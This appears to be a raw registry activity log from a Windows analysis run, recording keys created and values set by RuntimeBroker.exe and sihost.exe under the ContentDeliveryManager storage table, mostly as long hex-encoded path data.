0001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000656d6e6269686a6b000000000000000072b8bf6ffc53424ca58579f579a8f724b24e5c7949edef11bd36ca53edaaaaec72b8bf6ffc53424ca58579f579a8f724b24e5c7949edef11bd36ca53edaaaaecd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0032003200370038003400310032003400330038002d0033003400370035003100390036003400300036002d0033003600380036003400330034003200320033002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000cad1f625000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\85d1ed9c-30b5-4635 = "\\\\?\\Volume{25F6D1CA-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\6993d9b9962426a570ddda319bb48d538c39287bbf22fdf8701d87ed73c565f0"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2e3ea476-eedc-4665	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\95f13099-9e70-493b = 235452a5038bdb01	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\95f13099-9e70-493b = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\182a0024-28e1-4b10 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d227804d-573f-4b43 = "\\\\?\\Volume{25F6D1CA-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\0b3e184be31961eecff7654cfd1a4de50fd0acf90b6bbcae97fed50ce44fba01"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d7582274-2c2c-4ddd = "0"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\26440962-2533-4759 = "\\\\?\\Volume{25F6D1CA-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\77fa5b6835a50e03cc4e3cc2e2c2c03a1b332c5ad754ecd86973f57df4c641bd"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e77c63d0-24ed-4f17 = "0"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\WasEverActivated = "1"	sihost.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8224389f-2304-4061	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\4b40d73e-c3b1-417a = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000a83779a4038bdb01a83779a4038bdb01a83779a4038bdb01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000615a59bd2000336462356561356565613830643465646266393065613739616164356565663931356661393336363230646631323735343731633862643930626537383737330000b20009000400efbe615a59bd615a59bd2e0000000000000000000000000000000000000000000000000058811c00330064006200350065006100350065006500610038003000640034006500640062006600390030006500610037003900610061006400350065006500660039003100350066006100390033003600360032003000640066003100320037003500340037003100630038006200640039003000620065003700380037003700330000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000804be95f1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c33646235656135656561383064346564626639306561373961616435656566393135666139333636323064663132373534373163386264393062653738373733000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000656d6e6269686a6b000000000000000072b8bf6ffc53424ca58579f579a8f724ae4e5c7949edef11bd36ca53edaaaaec72b8bf6ffc53424ca58579f579a8f724ae4e5c7949edef11bd36ca53edaaaaecd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0032003200370038003400310032003400330038002d0033003400370035003100390036003400300036002d0033003600380036003400330034003200320033002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000cad1f625000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\977530f8-7c6a-4f4e = "0"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\51841595-95e6-43b5 = "0"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2e3ea476-eedc-4665 = "0"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8224389f-2304-4061 = 37b573a4038bdb01	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8224389f-2304-4061 = "0"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d227804d-573f-4b43	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d227804d-573f-4b43 = "0"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\977530f8-7c6a-4f4e = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\26440962-2533-4759 = "0"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\85d1ed9c-30b5-4635	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e77c63d0-24ed-4f17 = "8324"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8224389f-2304-4061 = "\\\\?\\Volume{25F6D1CA-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\e8a5d6298410cb7b1a266530e8048e7333eefa33d1fd184730ccd2efa26beb4c"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\26440962-2533-4759 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\85d1ed9c-30b5-4635 = e6d929a5038bdb01	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2e3ea476-eedc-4665	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e77c63d0-24ed-4f17 = cae96ea5038bdb01	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e77c63d0-24ed-4f17 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000fca9cca4038bdb0128074ba5038bdb0128074ba5038bdb01519c07000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000615a59bd2000653861356436323938343130636237623161323636353330653830343865373333336565666133336431666431383437333063636432656661323662656234630000b20009000400efbe615a59bd615a59bd2e0000000000000000000000000000000000000000000000000055cf2a00650038006100350064003600320039003800340031003000630062003700620031006100320036003600350033003000650038003000340038006500370033003300330065006500660061003300330064003100660064003100380034003700330030006300630064003200650066006100320036006200650062003400630000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000804be95f1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c65386135643632393834313063623762316132363635333065383034386537333333656566613333643166643138343733306363643265666132366265623463000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000656d6e6269686a6b000000000000000072b8bf6ffc53424ca58579f579a8f724b64e5c7949edef11bd36ca53edaaaaec72b8bf6ffc53424ca58579f579a8f724b64e5c7949edef11bd36ca53edaaaaecd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0032003200370038003400310032003400330038002d0033003400370035003100390036003400300036002d0033003600380036003400330034003200320033002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000cad1f625000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\182a0024-28e1-4b10	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\182a0024-28e1-4b10 = "8324"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8224389f-2304-4061	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8224389f-2304-4061 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000abe96aa4038bdb01abe96aa4038bdb01abe96aa4038bdb01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000615a59bd2000653861356436323938343130636237623161323636353330653830343865373333336565666133336431666431383437333063636432656661323662656234630000b20009000400efbe615a59bd615a59bd2e0000000000000000000000000000000000000000000000000055cf2a00650038006100350064003600320039003800340031003000630062003700620031006100320036003600350033003000650038003000340038006500370033003300330065006500660061003300330064003100660064003100380034003700330030006300630064003200650066006100320036006200650062003400630000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000804be95f1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c65386135643632393834313063623762316132363635333065383034386537333333656566613333643166643138343733306363643265666132366265623463000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000656d6e6269686a6b000000000000000072b8bf6ffc53424ca58579f579a8f724ac4e5c7949edef11bd36ca53edaaaaec72b8bf6ffc53424ca58579f579a8f724ac4e5c7949edef11bd36ca53edaaaaecd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0032003200370038003400310032003400330038002d0033003400370035003100390036003400300036002d0033003600380036003400330034003200320033002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000cad1f625000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\4b40d73e-c3b1-417a = "8324"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\977530f8-7c6a-4f4e = "8324"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\977530f8-7c6a-4f4e = 0114020000000000c0000000000000464c0000000114020000000000c000000000000046830000002000000072fd7da4038bdb0172fd7da4038bdb0172fd7da4038bdb01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000615a59bd2000386337386432313335633338626263333636343534346662316463623430386539616532303964626434313730623730353133366334613563343431306538320000b20009000400efbe615a59bd615a59bd2e000000000000000000000000000000000000000000000000008ebb1700380063003700380064003200310033003500630033003800620062006300330036003600340035003400340066006200310064006300620034003000380065003900610065003200300039006400620064003400310037003000620037003000350031003300360063003400610035006300340034003100300065003800320000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000804be95f1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c38633738643231333563333862626333363634353434666231646362343038653961653230396462643431373062373035313336633461356334343130653832000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000656d6e6269686a6b000000000000000072b8bf6ffc53424ca58579f579a8f724af4e5c7949edef11bd36ca53edaaaaec72b8bf6ffc53424ca58579f579a8f724af4e5c7949edef11bd36ca53edaaaaecd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0032003200370038003400310032003400330038002d0033003400370035003100390036003400300036002d0033003600380036003400330034003200320033002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000cad1f625000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\26440962-2533-4759 = ae1e89a4038bdb01	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\85d1ed9c-30b5-4635 = "8324"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d7582274-2c2c-4ddd = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\95f13099-9e70-493b	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\95f13099-9e70-493b = "8324"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\95f13099-9e70-493b = "\\\\?\\Volume{25F6D1CA-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\0b3e184be31961eecff7654cfd1a4de50fd0acf90b6bbcae97fed50ce44fba01"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8224389f-2304-4061 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
